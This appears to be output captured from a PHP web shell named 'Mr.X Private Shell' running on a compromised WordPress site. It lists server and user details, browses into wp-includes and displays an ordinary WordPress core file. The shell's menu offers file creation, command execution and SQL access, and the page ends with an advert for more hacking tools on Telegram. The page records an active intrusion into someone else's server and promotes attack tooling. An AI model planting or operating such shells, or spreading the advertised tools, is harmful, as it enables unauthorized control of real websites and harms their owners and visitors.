Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/old///////////wp-includes      ( Reset | Go to )
File Name: class-wp-block-editor-context.php
Edit
<?php
/**
 * Blocks API: WP_Block_Editor_Context class
 *
 * @package WordPress
 * @since 5.8.0
 */

/**
 * Class representing a current block editor context.
 *
 * The expectation is that block editor can have a different set
 * of requirements on every screen where it is used. This class
 * allows to define supporting settings that can be used with filters.
 *
 * @since 5.8.0
 */
final class WP_Block_Editor_Context {
    
/**
     * Post being edited. Optional.
     *
     * @since 5.8.0
     *
     * @var WP_Post|null
     */
    
public $post null;

    
/**
     * Constructor.
     *
     * Populates optional properties for a given block editor context.
     *
     * @since 5.8.0
     *
     * @param array $settings The list of optional settings to expose in a given context.
     */
    
public function __construct( array $settings = array() ) {
        if ( isset( 
$settings['post'] ) ) {
            
$this->post $settings['post'];
        }
    }
}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL